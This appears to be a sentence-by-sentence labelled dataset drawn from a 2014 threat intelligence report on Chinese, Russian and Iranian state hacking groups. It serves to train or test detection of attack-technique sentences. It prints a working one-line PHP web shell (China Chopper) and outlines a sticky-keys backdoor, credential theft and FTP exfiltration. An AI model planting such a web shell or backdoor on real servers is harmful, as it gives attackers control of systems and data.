GlobalThreatIntelReport-428	Since that time , sporadic activity with a Southeast Asia focus was observed , but nothing at a sustained level like that which was observed from May to October .	0
GlobalThreatIntelReport-429	It is highly likely that tensions will increase again as the disputes over territory and resources in the South China Sea remain unresolved .	0
GlobalThreatIntelReport-430	DEEP PANDA Think Tank Targeting In July 2014 , CrowdStrike publicly reported on malicious activity linked to the DEEP PANDA adversary at two U.S.- based think tanks.11 This activity followed typical DEEP PANDA Tactics , Techniques , and Procedures ( TTPs ) with Notable Activity what , at the time , was a novel technique utilizing PowerShell to download MadHatter malware on victim machines .	0
GlobalThreatIntelReport-431	Although the TTPs were typical , the specific targeting at each institution provided insight into how these adversaries may be tasked in their operations .	0
GlobalThreatIntelReport-432	Analysis of each incident revealed that , up until mid - June 2014 , the adversary was focused on experts on Asian and Chinese policy at each affected institution .	0
GlobalThreatIntelReport-433	This targeting is consistent with the objectives likely imposed on Chinese intelligence collection during this time in support of global intelligence collection surrounding the ongoing HD-981 incident .	0
GlobalThreatIntelReport-434	During mid - June , DEEP PANDA clearly and immediately shifted focus from Asia - related issues to Middle East - related issues .	0
GlobalThreatIntelReport-435	This shift coincided with a significant uptick in attacks from the Islamic State of Iraq and Syria ( ISIS ) , particularly an attack on the Baiji oil refinery in Iraq .	0
GlobalThreatIntelReport-436	At one institution , the actor focused on a target with expertise in China 's natural resource consumption and energy sourcing requirements .	0
GlobalThreatIntelReport-437	Additional targets at this institution included an executive assistant and network engineers and administrators .	0
GlobalThreatIntelReport-438	The targeting of an executive assistant would likely provide access to information on high - level strategy and operational information , and targeting of network administrators would provide information useful in lateral movement and establishing persistence .	0
GlobalThreatIntelReport-439	At the second institution , targeted individuals had extensive careers in the U.S.	0
GlobalThreatIntelReport-440	government and intelligence community , had written on U.S.	0
GlobalThreatIntelReport-441	Middle East policy , and had given congressional testimony on ISIS issues .	0
GlobalThreatIntelReport-442	The targets in this instance could provide information on potential U.S.	0
GlobalThreatIntelReport-443	strategy and possibly even communications between the institution and U.S.	0
GlobalThreatIntelReport-444	government entities .	0
GlobalThreatIntelReport-445	The rapid pivot between individuals at these institutions focused on Asia issues to individuals focused on Middle East issues shows how quickly these adversaries are able to react to new tasking .	0
GlobalThreatIntelReport-446	The targeting in these cases appear to be in line with interests of government organizations who would desire information on strategic options that the U.S.	0
GlobalThreatIntelReport-447	might be considering with respect to ISIS .	0
GlobalThreatIntelReport-448	Information from these kinds of institutions would also be useful to companies doing business in the Middle East .	0
GlobalThreatIntelReport-449	Notable Activity World Cup The biggest event of the year in terms of media coverage and sheer global attention was the FIFA World Cup played in Brazil between 12 June and 13 July .	0
GlobalThreatIntelReport-450	Events of this scale usually attract malicious actors who leverage them for purposes of deceiving targets into credentials theft , compromise of networks for espionage , and other objectives .	0
GlobalThreatIntelReport-451	CrowdStrike covered the run - up to the World Cup with reporting that outlined potential threats to the event .	0
GlobalThreatIntelReport-452	Chief among these was that of hacktivists attacking or defacing websites related to the Cup .	0
GlobalThreatIntelReport-453	Designated adversary GHOST JACKAL was detected partaking in said actions prior to the beginning of the tournament , which also saw large - scale street protests against the government .	0
GlobalThreatIntelReport-454	Later , during the Cup , CrowdStrike 's warning came to fruition when the websites for the Cup itself and for Brazil 's Federal Police were both taken down.12 Additionally , CrowdStrike observed some limited World Cup - related targeted intrusion activity from China - based actors LOTUS PANDA and .	0
GlobalThreatIntelReport-455	VIXEN PANDA , but the level of activity from such actors was not as high as anticipated .	0
GlobalThreatIntelReport-456	Know your adversary to better protect your network .	0
GlobalThreatIntelReport-457	Detect , deter , and defend against today 's most sophisticated attackers .	0
GlobalThreatIntelReport-458	two thousand fourteen CrowdStrike Global Threat Intel Report Know the Adversary Effect of Public Reporting on Adversary Activity In the 2013 Global Threat Report , CrowdStrike discussed a Russian adversary designated ENERGETIC BEAR .	0
GlobalThreatIntelReport-459	Beginning in July 2014 , several security vendors disclosed additional information on this actor .	0
GlobalThreatIntelReport-460	This adversary has previously demonstrated more than a basic awareness of operational security ( OPSEC ) .	0
GlobalThreatIntelReport-461	Unsurprisingly , ENERGETIC BEAR quickly abandoned their compromised website C2 infrastructure they had acquired for these operations .	0
GlobalThreatIntelReport-462	Although infected machines would continue to beacon to the C2 servers , no further tasking would be provided .	0
GlobalThreatIntelReport-463	Since the public disclosures , no new builds of the malware used by ENERGETIC BEAR – primarily the Havex and SYSMain RATs – have been observed .	0
GlobalThreatIntelReport-464	This toolset has seen several evolutionary developments over a period spanning at least five years , and its loss is likely to cause the adversary to enter a retooling phase .	0
GlobalThreatIntelReport-465	The underlying intelligence requirements driving their operations are unlikely to change , however , and it is likely that ENERGETIC BEAR will re - emerge with a new toolset in the future .	0
GlobalThreatIntelReport-466	In June 2014 , CrowdStrike published13 public reporting detailing the attribution of an adversary designated as PUTTER PANDA to the 12th Bureau of the 3rd General Staff Department of the People 's Liberation Army , also known as Unit 61486 .	0
GlobalThreatIntelReport-467	This attribution was facilitated by one of the PUTTER PANDA operators providing pictures of the unit 's operational base on social media , using accounts that could be associated with C2 domains – a serious OPSEC mistake .	0
GlobalThreatIntelReport-468	After the publication of CrowdStrike 's report , the social media account containing photos of the unit 's base was deleted , and PUTTER PANDA appears to have stopped using the tools previously identified by CrowdStrike .	0
GlobalThreatIntelReport-469	Know the Adversary Another significant public disclosure of an adversary group was the publication of a report on Unit 61398 ( a.k.a .	0
GlobalThreatIntelReport-470	COMMENT PANDA ) in February 2013 .	0
GlobalThreatIntelReport-471	"While this group also initially "" went dark "" following the report 's public release , there have been indications that this actor was in operation again by October 2013 ."	0
GlobalThreatIntelReport-472	The disclosure of information regarding ongoing operations has been hotly contested in the information security community .	0
GlobalThreatIntelReport-473	Many attribute such disclosures to marketing or other self - promoting behavior .	0
GlobalThreatIntelReport-474	While the motivations surrounding public disclosures are certainly open to discussion , these observations indicate that public disclosures to date have had a significant impact on advanced adversary operations .	0
GlobalThreatIntelReport-475	It is becoming apparent that the priorities levied by organizations sponsoring cyber espionage are unaffected by such disclosures .	0
GlobalThreatIntelReport-476	It is highly likely that groups who have been publicly reported on will return to the same activities with new toolsets , if they have not already .	0
GlobalThreatIntelReport-477	CrowdStrike 's approach to public disclosure balances the benefits of disrupting operations with the risk of losing visibility into adversary actions by driving a change in TTPs .	0
GlobalThreatIntelReport-478	This balance is accomplished by looking at the existing publicly available reporting , and what the likely reaction by the adversary is .	0
GlobalThreatIntelReport-479	This is then reviewed in terms of Intelligence Gain / Loss ( IGL ) ; among other things , this includes the potential intelligence value of a disclosure , what are potential impacts to visibility of the adversary , and how does this impact the ability to protect customers ? Forcing the adversary to retool means the cost of doing business has gone up ; they must invest in new tools , infrastructure , and potentially training , which may have consequences for how brazen the adversary will be in the future .	0
GlobalThreatIntelReport-480	HURRICANE PANDA HURRICANE PANDA is an advanced China - based adversary actively targeting Internet services , engineering , and aerospace companies .	0
GlobalThreatIntelReport-481	Know the Adversary Since February 2014 , CrowdStrike Intelligence has observed HURRICANE PANDA leverage at least two zero - day exploits , a unique DNS resolution technique , and tools traditionally used by Chinese actors .	0
GlobalThreatIntelReport-482	Once inside a victim 's network , this adversary seeks to gain legitimate credentials to move laterally and establish RDP sessions to achieve their objectives .	1
GlobalThreatIntelReport-483	Based on their technical capabilities , HURRICANE PANDA is currently one of the most advanced Chinese actors tracked by CrowdStrike .	0
GlobalThreatIntelReport-484	Zero - days , Exploits , and Web Vulnerabilities As stated above , CrowdStrike Intelligence observed HURRICANE PANDA leveraging two zero - day exploits , indicating that this adversary has above - average capability or access to exploit developers .	0
GlobalThreatIntelReport-485	First , in February 2014 this actor was observed using SWC tactics to gain initial footholds into victim networks via CVE- 2014 - 0322 .	0
GlobalThreatIntelReport-486	Successful exploitation during this campaign led victims to install the Sakula malware .	0
GlobalThreatIntelReport-487	Much of the targeting in this campaign appeared to be against the French aerospace sector.14 In October 2014 , HURRICANE PANDA used CVE-2014 - 4113 to escalate privileges on already - compromised 64-bit Windows machines.15 Their exploitation of this vulnerability marked the first time it was observed in the wild .	0
GlobalThreatIntelReport-488	In addition to zero - day exploits , HURRICANE PANDA has also used three other privilege - escalation exploits and another remote code execution exploit .	0
GlobalThreatIntelReport-489	Finally , in another case , HURRICANE PANDA gained initial access to a victim via a SQL injection vulnerability .	0
GlobalThreatIntelReport-490	They then used the vulnerability to upload a simple Chopper webshell script to gain additional access , move laterally to the corporate network , and install additional RATs .	0
GlobalThreatIntelReport-491	The RAT Pack HURRICANE PANDA makes use of several Remote Access Tools Know the Adversary ( RATs ) .	0
GlobalThreatIntelReport-492	Over the course of the year , CrowdStrike Intelligence observed this adversary employing Sakula , Gh0st RAT , PlugX , and HiKit .	0
GlobalThreatIntelReport-493	While Gh0st RAT has been widely available for many years , the other RATs have exclusively been tied to China - based actors .	0
GlobalThreatIntelReport-494	This actor also made extensive use of Chopper webshell ; this provides the equivalent functionality of a RAT for adversary control of webservers .	1
GlobalThreatIntelReport-495	Chopper can exist in a rather simple form .	0
GlobalThreatIntelReport-496	"< ? php eval($_POST[""chopper "" ] ) ; ? > where "" chopper "" is an attacker - selected password of sorts ."	0
GlobalThreatIntelReport-497	This simple one - line script gives an attacker access to a webserver from which they can deploy privilege - escalation tools , move laterally , or deploy more complex scripts to interact with databases on the webserver .	1
GlobalThreatIntelReport-498	While PlugX usage has increased significantly over the past year among China - based actors , HURRICANE PANDA 's usage of the tool was notable for two reasons .	0
GlobalThreatIntelReport-499	First , when configuring PlugX , the attacker is given the option of using up to four DNS servers of their choosing .	0
GlobalThreatIntelReport-500	Knowing this , HURRICANE PANDA discovered a unique service offered by California - based Internet service provider Hurricane Electric .	0
GlobalThreatIntelReport-501	By abusing Hurricane Electric 's free DNS service , the actors were able to resolve popular domains like www.pinterest.com , adobe.com , and github.com .	0
GlobalThreatIntelReport-502	Using legitimate domains presumably would fool incident responders into believing the communications were benign .	0
GlobalThreatIntelReport-503	HURRICANE PANDA leveraged PlugX 's custom DNS feature to use the free DNS hosting services provided by Hurricane Electric to resolve these domains to PlugX C2 nodes instead of their legitimate IP addresses .	0
GlobalThreatIntelReport-504	Hurricane Electric quickly took action to prevent the abuse that allowed DNS resolution for legitimate domains .	0
GlobalThreatIntelReport-505	Know the Adversary the string .	0
GlobalThreatIntelReport-506	The decoded string contains the protocol over which to communicate , as well as the IP address and port pair .	0
GlobalThreatIntelReport-507	When the above strings are decoded , the following IP addresses are used as PlugX C2 servers .	1
GlobalThreatIntelReport-508	Post - Exploitation and Exfiltration After HURRICANE PANDA has established a foothold on a victim 's network , they then seek legitimate credentials via tools such as Windows Credential Viewer , Windows Credential Editor , or Mimikatz .	1
GlobalThreatIntelReport-509	Once credentials have been obtained , the actor tends to use these for access to the network instead of interacting with their RAT , thus reducing their footprint and allowing them to appear as legitimate VPN users .	0
GlobalThreatIntelReport-510	If credentials can not be obtained , HURRICANE PANDA will often rely on RDP .	1
GlobalThreatIntelReport-511	First , they will replace the sticky keys file ( using the sethc.exe hack16 ) with a copy of their preferred Chinese version of cmd.exe on the victim machine .	0
GlobalThreatIntelReport-512	Then they will access the victim computer over RDP , and , when presented with a login screen , IT will invoke the sticky keys mechanism and be presented with an administrative command shell .	1
GlobalThreatIntelReport-513	Furthermore , PlugX contains a reverse - RDP tunneling capability that HURRICANE PANDA has employed .	0
GlobalThreatIntelReport-514	Exfiltration by HURRICANE PANDA follows a simple pattern often performed by China - based adversaries .	0
GlobalThreatIntelReport-515	First , files of interest are compressed and password protected using RAR .	1
GlobalThreatIntelReport-516	Next , they stage the files at a convenient location .	1
GlobalThreatIntelReport-517	Finally , they exfiltrate the files from the network via FTP .	1
GlobalThreatIntelReport-518	Know the Adversary Possible Connections to AURORA PANDA CrowdStrike Intelligence is currently evaluating possible connections between HURRICANE PANDA and AURORA PANDA .	0
GlobalThreatIntelReport-519	There is currently no definitive link , but indicators of compromise linked to AURORA PANDA have been discovered on networks also compromised by HURRICANE PANDA .	0
GlobalThreatIntelReport-520	Other connections include : similar toolsets , access to zero - day exploits , and possible infrastructure connections .	0
GlobalThreatIntelReport-521	HURRICANE PANDA is among the more capable China - based adversaries , and run - ins with this actor should be treated with the utmost concern .	0
GlobalThreatIntelReport-522	GOTHIC PANDA GOTHIC PANDA is another advanced Chinese adversary that CrowdStrike Intelligence tracked throughout 2014 .	0
GlobalThreatIntelReport-523	This adversary has been observed targeting a number of high - profile victims in key sectors including financial , technology , NGO / international , and energy .	0
GlobalThreatIntelReport-524	In early May 2014 , CrowdStrike observed this adversary mounting a campaign in which spear phishing messages were used to direct targets to landing pages that would exploit a zero - day Use - After- Free vulnerability in Internet Explorer .	0
GlobalThreatIntelReport-525	The following is a brief timeline of important events in this campaign .	0
GlobalThreatIntelReport-526	Know the Adversary In addition to targeting of individuals within targeted organizations , phishing messages from this adversary were observed being sent to mailing lists for specialized topics such as high - performance computing , weather metadata software , and pre - medical programs at educational institutions .	0
GlobalThreatIntelReport-527	An observed phishing message is show below .	0
GlobalThreatIntelReport-528	Victims in these campaigns were infected with the implant known by the anti - virus name Pirpi , which has been seen in use since 2009 .	0
GlobalThreatIntelReport-529	Pirpi provides the adversary with a traditional set of RAT features that allow the adversary to exfiltrate and deploy files , along with remote shell access to a compromised system .	1
GlobalThreatIntelReport-530	GOTHIC PANDA is considered by CrowdStrike Intelligence to be one of the more advanced adversaries tracked .	0
GlobalThreatIntelReport-531	Over time , the Pirpi implant has improved to feature more aggressive anti - analysis techniques , and the network communication with control servers has improved to hinder network - based detection .	0
GlobalThreatIntelReport-532	While investigating GOTHIC PANDA , CrowdStrike Intelligence identified a strong code overlap between the Pirpi implant and Know the Adversary a defunct malware known by the anti - virus name Dreammon ( or DreamClick ) .	0
GlobalThreatIntelReport-533	This malware possesses a feature set more in line with adclicker malware rather than targeted activity .	0
GlobalThreatIntelReport-534	As adclicker malware is more common with criminal adversaries , it has been postulated that if the same adversary behind Dreammon is behind Pirpi , this adversary 's initial motives may have been financially driven .	0
GlobalThreatIntelReport-535	Overview of Russian Threat Actors Although the Chinese calendar predicted that 2014 would be the Year of the Horse , in many respects 2014 has been the Year of the Bear in the cyber realm , with several high - profile Russia - based actors receiving public attention .	0
GlobalThreatIntelReport-536	The reported activity has included actors tracked by CrowdStrike as ENERGETIC BEAR , FANCY BEAR , and VENOMOUS BEAR , as well as other sets such as Sandworm , which uses the Black Energy toolset in targeted attacks , in contrast to its normal use as criminal malware .	0
GlobalThreatIntelReport-537	CrowdStrike also tracks other adversaries attributed to Russia under cryptonyms such as BERSERK BEAR , BOULDER BEAR , and the financial - crime- motivated actor MAGNETIC SPIDER .	0
GlobalThreatIntelReport-538	VENOMOUS BEAR , also known as Snake , Turla , and Oroborous , uses a set of implants that culminates in a sophisticated Windows - based rootkit that can leverage an encrypted Virtual File System ( VFS ) as a staging area for tools to deploy and data prepared for exfiltration .	1
GlobalThreatIntelReport-539	It also includes implants for other platforms such as Linux that can be used to operate command - and - control infrastructure .	0
GlobalThreatIntelReport-540	External reporting indicates a targeting bias toward entities in the government sector , along with the use of zero - day exploits .	0
GlobalThreatIntelReport-541	These TTPs , along with the maturity of the attacker 's toolset , indicate that this is a highly sophisticated adversary .	0
GlobalThreatIntelReport-542	FANCY BEAR is CrowdStrike 's name for an adversary also known as Sofacy .	0
GlobalThreatIntelReport-543	"Although the tools used by this actor are not as complex as those employed by VENOMOUS BEAR , they share a common targeting focus on government and military entities , with a particular Know the Adversary emphasis on Russia 's "" near abroad "" regions such as Eastern Europe ."	0
GlobalThreatIntelReport-544	As well as implants for Windows , Linux , and mobile operating systems , FANCY BEAR employs credential phishing attacks , spoofing legitimate sites to harvest the details of users of interest .	0
GlobalThreatIntelReport-545	Proactive analysis during 2014 revealed another Russian actor that has not encountered public exposure , yet appears to have been tasked by Russian state interests .	0
GlobalThreatIntelReport-546	BERSERK BEAR has conducted operations from 2004 through to the present day , primarily aimed at collecting intelligence but has also provided capability in support of offensive operations in parallel to the Russia / Georgia conflict in August 2008 .	0
GlobalThreatIntelReport-547	ENERGETIC BEAR has been tracked by CrowdStrike since 2012 .	0
GlobalThreatIntelReport-548	The adversary initially focused on targets in the energy sector , but more recently had branched out to attempt to compromise financial , industrial , and commercial organizations .	0
GlobalThreatIntelReport-549	This corresponded with a shift from primarily using SWC attack vectors to targeted email attacks .	0
GlobalThreatIntelReport-550	Analysis of ENERGETIC BEAR 's post - exploitation activity revealed the use of custom tools for credential harvesting , network enumeration , and interaction with industrial automation equipment .	0
GlobalThreatIntelReport-551	FANCY BEAR In the second half of 2014 , CrowdStrike Intelligence analyzed the targeted attack activity of a particularly interesting Russian actor named FANCY BEAR .	0
GlobalThreatIntelReport-552	The campaigns conducted by this actor target high - profile military and government entities in a variety of countries , most notably political institutions of former Soviet nations as well as Eastern European countries , NATO institutions , and organizations of western countries .	0
GlobalThreatIntelReport-553	Technical indicators , such as the resource locales and C2 domain registrant information , exhibit references to a Russian - speaking adversary .	0
GlobalThreatIntelReport-554	In addition , the targeting is consistent with strategic interests of the Russian Federation .	0
GlobalThreatIntelReport-555	Know the Adversary Targeting of high - profile entities requires mature and versatile technical means .	0
GlobalThreatIntelReport-556	FANCY BEAR exhibits a consistent level of technical sophistication with respect to its tools , and the actor is characterized by a thorough preparation of attacks and required infrastructure .	0
GlobalThreatIntelReport-557	Their main implant , called X - Agent , is a sophisticated RAT that exhibits a modular architecture and a multi - year development history .	1
GlobalThreatIntelReport-558	As a consequence , the adversary can combine the necessary implant functionality on a per - target basis , spanning multiple operating systems and mobile platforms .	0
GlobalThreatIntelReport-559	A remarkable feature only seen with some of the well - engineered and mature targeted attack malware is the following : If required , the implant can switch the carrier protocol for its command - and- control channel ranging from HTTP over email to removable media .	0
GlobalThreatIntelReport-560	The latter is specifically suited for target environments that do not have direct network connectivity to a C2 node and instead rely on periodic use of USB removable media to bridge air gaps .	0
GlobalThreatIntelReport-561	In addition , recent incidents involved heavily obfuscated malware including code flow obfuscation , likely another step taken in order to hinder analysis efforts .	0
GlobalThreatIntelReport-562	All of these underline a clear targeted attack mission .	0
GlobalThreatIntelReport-563	< Understand how the evolving capabilities of these advanced adversaries will affect you in 2015 .	0
GlobalThreatIntelReport-564	Looking Forward Predicting what will happen in 2015 is a challenge , as unforeseen events will inevitably occur and new TTPs from adversaries across the motivational spectrum will continue to shape the threat environment .	0
GlobalThreatIntelReport-565	Before exploring what may be coming in 2015 , a brief look back at the predictions for 2014 is in order .	0
GlobalThreatIntelReport-566	Last year , CrowdStrike made a number of predictions about the 2014 threat landscape , many of which came to fruition .	0
GlobalThreatIntelReport-567	Outlook for China - Based Adversaries China is , by now , well known for conducting cyber espionage campaigns focused on accessing intelligence about intellectual property , mergers and acquisitions , and technologies highlighted in its Five - Year plans .	0
GlobalThreatIntelReport-568	"Targeting these technologies and strategic business information allow its domestic companies to rapidly make "" leap frog "" developments , and to benefit from favorable bargaining positions , thus elevating them to become global leaders ."	0
GlobalThreatIntelReport-569	This behavior is expected to continue in 2015 , as will continued targeting of foreign government entities in an attempt to access information related to the global strategy and plans of these countries .	0
GlobalThreatIntelReport-570	China is expected to continue to leverage this espionage as a means to conduct intelligence collection to support its aspirations to further push the envelope on its territorial claims .	0
GlobalThreatIntelReport-571	This is particularly true in the South China Sea ( SCS ) conflicts with Vietnam and the Philippines , and the Senkaku / Diaoyu island dispute with Japan .	0
GlobalThreatIntelReport-572	China has already undertaken substantial construction of manmade islands in the SCS to begin projecting its power , and as its Navy continues to grow , it will only seek to push further beyond its current boundaries .	0
GlobalThreatIntelReport-573	China is aggressively moving forward with the design and implementation of its own aircraft carriers , which will no doubt have an impact in this regional issue , allowing the PRC to project force and intimidate its neighbors .	0
GlobalThreatIntelReport-574	Looking Forward Taiwan will continue to play a very important role in the potential conflicts to come , not only as a testing ground for malware , but as the main focus for expanding Chinese territorial claims .	0
GlobalThreatIntelReport-575	The PRC views Taiwan as an inalienable part of China that will eventually be reunited for the greater good of both peoples and therefore places it above other territorial conflicts .	0
GlobalThreatIntelReport-576	Taiwan 's recent shift towards a decidedly less - Beijing - friendly , DPP - led government is of great concern to China and will be a major factor in how China uses technology to facilitate its political maneuverings .	0
GlobalThreatIntelReport-577	Taiwan has historically been penetrated by PRC intelligence services at all levels , which makes cyber one of the first visible indicators of PRC intentions regarding Taiwan .	0
GlobalThreatIntelReport-578	"China has also made significant headway on projecting its "" soft power "" abroad via multiple billion - dollar investments , particularly in the sectors of communications and transportation infrastructure ."	0
GlobalThreatIntelReport-579	For years , China has been making inroads in Africa to provide the vast majority of the continent 's telecommunication systems , but only recently have some of the more sinister intentions been brought to light .	0
GlobalThreatIntelReport-580	In December 2014 , approximately 77 Chinese nationals were found to be running a sophisticated command center out of a house in Nairobi , Kenya , which appeared to be capable of targeting the main communication systems in the capital .	0
GlobalThreatIntelReport-581	A building with multiple large satellites that appears to be annexed to the Chinese embassy in Paris was also recently reported on and believed to be connected to the 3PLA 's 8th Bureau , Unit 61046 , which is responsible for SIGINT collection on western Europe .	0
GlobalThreatIntelReport-582	Image of Alleged SIGINT Dishes at Chinese Embassy Annex Looking Forward There has also been a significant amount of investment poured into transportation projects , particularly high - speed rail ( HSR ) lines , in multiple countries .	0
GlobalThreatIntelReport-583	China has already planned to merge its two top train makers into a HSR juggernaut capable of building massive rail lines around the world .	0
GlobalThreatIntelReport-584	To this end , China has submitted bids for massive rail projects in Nigeria , and nearly won ( this was subsequently canceled ) another project in Mexico .	0
GlobalThreatIntelReport-585	China has also suggested massive lines between Beijing and Moscow and constructing a line between Delhi and Chennai in India .	0
GlobalThreatIntelReport-586	Beijing also remains interested in proposals for HSRs in Britain and California , and has already made headway on construction of a Hungary- Serbian HSR that will connect Belgrade to Budapest .	0
GlobalThreatIntelReport-587	In total , the projects proposed by China would give it control of more than 40,000 km , giving it significant control over the world 's transportation routes .	0
GlobalThreatIntelReport-588	It seems fairly likely that , given China 's previous use of espionage against foreign companies ( which it has used to gain advantages in competitive bidding and mergers & acquisitions ) , there is a substantial motivation for China to follow suit in the coming year as it looks to secure its position as the global leader in HSR construction .	0
GlobalThreatIntelReport-589	Joint Plan of Action Could Possibly Drive Iranian Cyber Attacks The Iranian Joint Plan of Action ( JPOA ) , its delay , and its ultimate desired path by politicians to negotiate a Comprehensive Plan of Action ( CPOA ) are preeminent issues in the global press and political circles .	0
GlobalThreatIntelReport-590	The JPOA is a temporary agreement made between Iran and an intergovernmental negotiating body consisting of China , France , the Russian Federation , the Un ited Kingdom , the United States and Germany .	0
GlobalThreatIntelReport-591	The agreement was originally intended to be a six - month period in which the Iranian government would reduce its stockpile of enriched uranium fuel and suspend specific aspects of its nuclear energy programs in exchange for the UN Security Council relaxing of specific sanctions previously imposed against Iran .	0
GlobalThreatIntelReport-592	During this time of suspended nuclear research activities and Looking Forward eased sanctions , negotiating parties would discuss the details of a more permanent agreement , known as the Comprehensive Plan of Action ( CPOA ) .	0
GlobalThreatIntelReport-593	The JPOA could be a driver or tipping point for future cyber attacks by Iran against western targets .	0
GlobalThreatIntelReport-594	Iran has publicly noted the understanding that negotiations can be influenced and has demonstrated historically that it is willing ( and has capabilities ) to conduct cyber operations to influence negotiations if it sees fit to do so .	0
GlobalThreatIntelReport-595	It has been publicly speculated that Iran has conducted retaliatory attacks , notably the Shamoon incident in 2012 .	0
GlobalThreatIntelReport-596	Recent open - source activities in the Iranian underground suggest Iran may be attempting to structure or resource for possible future cyber operations .	0
GlobalThreatIntelReport-597	There have been visibility changes with regard to information surrounding Iranian hackers , as well as forums and websites .	0
GlobalThreatIntelReport-598	Popular forums for Iranian hackers ISCN and Shabgard have been shut down and are no longer publicly accessible .	0
GlobalThreatIntelReport-599	Despite the shutdowns , there will likely be little change to the communication occurring between affiliated hackers in closed communications pathways .	0
GlobalThreatIntelReport-600	The closing of these forums could be in anticipation of future malicious activity and a desire to decrease the public profile of individuals in the Iranian underground .	0
GlobalThreatIntelReport-601	There are also clear links between the Iranian government hacking contests intended to identify hackers with advanced skills and to learn advanced methods of network intrusion .	0
GlobalThreatIntelReport-602	"For example , in November 2013 , just before the JPOA agreement was signed , Sharif University of Technology conducted a contest for "" innovative methods "" of computer network intrusions and defense against such intrusions ."	0
GlobalThreatIntelReport-603	Based on the contest announcements , Iranian government cyber security authorities had access to the students ' submissions in the contest , and those submissions were not released to the public but rather kept private to only those with access to the contest submissions .	0
GlobalThreatIntelReport-604	Looking Forward Iranian adversaries such as ROCKET KITTEN , FLYING KITTEN , and CHARMING KITTEN were quite active during 2014 targeting western governments and companies .	0
GlobalThreatIntelReport-605	The motivation to attack such targets will only increase during 2015 .	0
GlobalThreatIntelReport-606	However , should the process around the JPOA and CPOA take a turn that Iran perceives as disadvantageous , the motivation will likely greatly increase .	0
GlobalThreatIntelReport-607	Recent revelations indicate that ROCKET KITTEN may have , in fact , targeted the JPOA negotiations using spear phishing that may have targeted diplomats involved in the meetings .	0
GlobalThreatIntelReport-608	Cyber Spillover from Regional Conflicts Last year 's report included cyber spillover as something to look for in 2014 , and it will be equally as important in 2015 .	0
GlobalThreatIntelReport-609	Increasingly , real- world physical conflicts are carrying with them associated cyber components .	0
GlobalThreatIntelReport-610	Sometimes the related cyber operations are carried out by entities directly engaged in the conflict , and other times entities not directly involved will engage in cyber operations in an attempt to support one side or the other .	0
GlobalThreatIntelReport-611	It is not possible to predict all possible conflicts in 2015 , but there are three primary areas to keep an eye on .	0
GlobalThreatIntelReport-612	The conflict that may see the most significant uptick in associated activity is the one centered around ISIS .	0
GlobalThreatIntelReport-613	The Syrian civil war saw quite a bit of associated cyber operations against western targets in 2013 , many of which were attributed to the DEADEYE JACKAL adversary ( Syrian Electronic Army ) .	0
GlobalThreatIntelReport-614	Since that time , the ISIS terrorist group has become a significant threat in the region and appears to be capable of bringing resources to bear to carry out malicious cyber attacks .	0
GlobalThreatIntelReport-615	Already , in early January 2015 , a group calling itself CyberCaliphate and declaring support for ISIS hacked the social media presence of U.S.	0
GlobalThreatIntelReport-616	Central Command and used it to spread Islamist propaganda .	0
GlobalThreatIntelReport-617	It is likely that this and other related groups supporting the Islamist cause will engage in operations that support ISIS objectives .	0
GlobalThreatIntelReport-618	Most of this activity is likely to be a nuisance , such as defacements and Looking Forward low - level DDOS attacks , but it is possible that more advanced actors could carry out targeted or even destructive attacks .	0
GlobalThreatIntelReport-619	The South China Sea will be an area to continue to watch in 2015 .	0
GlobalThreatIntelReport-620	As discussed above , tensions in this area drove a great deal of targeted intrusion activity from China - based adversaries in 2014 .	0
GlobalThreatIntelReport-621	Tensions subsided toward the end of 2014 , but the region is rich in natural resources and countries there , particularly China , are eager to lay claim to those resources .	0
GlobalThreatIntelReport-622	Because of this , there is a significant possibility that the conflict will flare up again in the coming year .	0
GlobalThreatIntelReport-623	One thing that could temper the possibility for conflict is if oil prices remain low , making oil exploration in the area potentially less lucrative .	0
GlobalThreatIntelReport-624	Ukraine is the third region to keep an eye on for possible cyber spillover in 2015 .	0
GlobalThreatIntelReport-625	The physical conflict there already spilled over into cyberspace , as was discussed above .	0
GlobalThreatIntelReport-626	So long as the Ukrainian conflict remains unresolved and foreign governments continue to exert pressure on Russia via economic sanctions , expect continued Russian targeting of governments , particularly those in Europe and the U.S.	0
GlobalThreatIntelReport-627	Another related contributing factor to Russian cyber operations is the falling price of oil .	0
GlobalThreatIntelReport-628	Russia 's economy is deeply dependent on oil prices .	0
GlobalThreatIntelReport-629	The precipitous fall in the price of oil at the end of 2014 and going into 2015 has already caused a great deal of economic turmoil in Russia .	0
GlobalThreatIntelReport-630	An extended period of low oil prices could result in increased malicious cyber activity from Russian adversaries against foreign governments and private sector organizations .	0
GlobalThreatIntelReport-631	The Future for PoS Attacks PoS malware experienced a great deal of success during 2014 , however upcoming changes may force changes in payment- processing systems in the U.S.	0
GlobalThreatIntelReport-632	For example , several major credit card companies are expected to institute new policies in October 2015 that will shift liability for fraudulent transactions to whomever Looking Forward is using the weakest payment - processing systems .	0
GlobalThreatIntelReport-633	The purpose of this is to drive retailers to adopt EMV ( Europay , MasterCard , and Visa ) standards , which entail chip and PIN cards that use a combination of the traditional PIN number and an embedded microchip that encrypts vital information .	0
GlobalThreatIntelReport-634	This type of card offers a more secure payment card solution for consumers .	0
GlobalThreatIntelReport-635	Additionally , several alternative solutions , such as Apple Pay and Google Wallet , have started becoming adopted , allowing for payment via token systems .	0
GlobalThreatIntelReport-636	In theses systems , rather than a card number being transmitted , a one - time token is passed from a consumer 's device to the retailer .	0
GlobalThreatIntelReport-637	The advantage to this system is that in the event of the token being obtained by an unauthorized party , it can not be reused for later transactions .	0
GlobalThreatIntelReport-638	Adoption of these newer payment processes should provide consumers with more secure payment methods and make it more difficult for criminals seeking to make money off these systems .	0
GlobalThreatIntelReport-639	There will be some lag time in 2015 as retailers and banks move to put these improvements in place , during which cybercriminals will still be able to exploit the current , antiquated payment processing systems in the U.S.	0
GlobalThreatIntelReport-640	However , the newer processes , once in place , should lead to a decline in the type of PoS attacks seen over the past year .	0
GlobalThreatIntelReport-641	Despite this decline , it is almost certain that the implementation of more secure methods will lead cybercriminals to develop more sophisticated means by which to attack payment- processing systems .	0
GlobalThreatIntelReport-642	Destructive and Disruptive Attacks Destructive attacks ( such as those carried out by SILENT CHOLLIMA ) and disruptive attacks ( such as the DDOS activity against gaming platforms ) garnered headlines at the end of 2014 .	0
GlobalThreatIntelReport-643	The high - profile nature of these attacks does not necessarily indicate that they will grow in popularity in 2015 , however it is Looking Forward possible that the success of these attacks may encourage other groups to engage in destructive or disruptive operations to advance their interests .	0
GlobalThreatIntelReport-644	As an example of this , a series of disruptive attacks in December targeted online gaming platforms .	0
GlobalThreatIntelReport-645	These attacks manifested in the form of DDOS operations carried out by the LizardSquad group briefly discussed above .	0
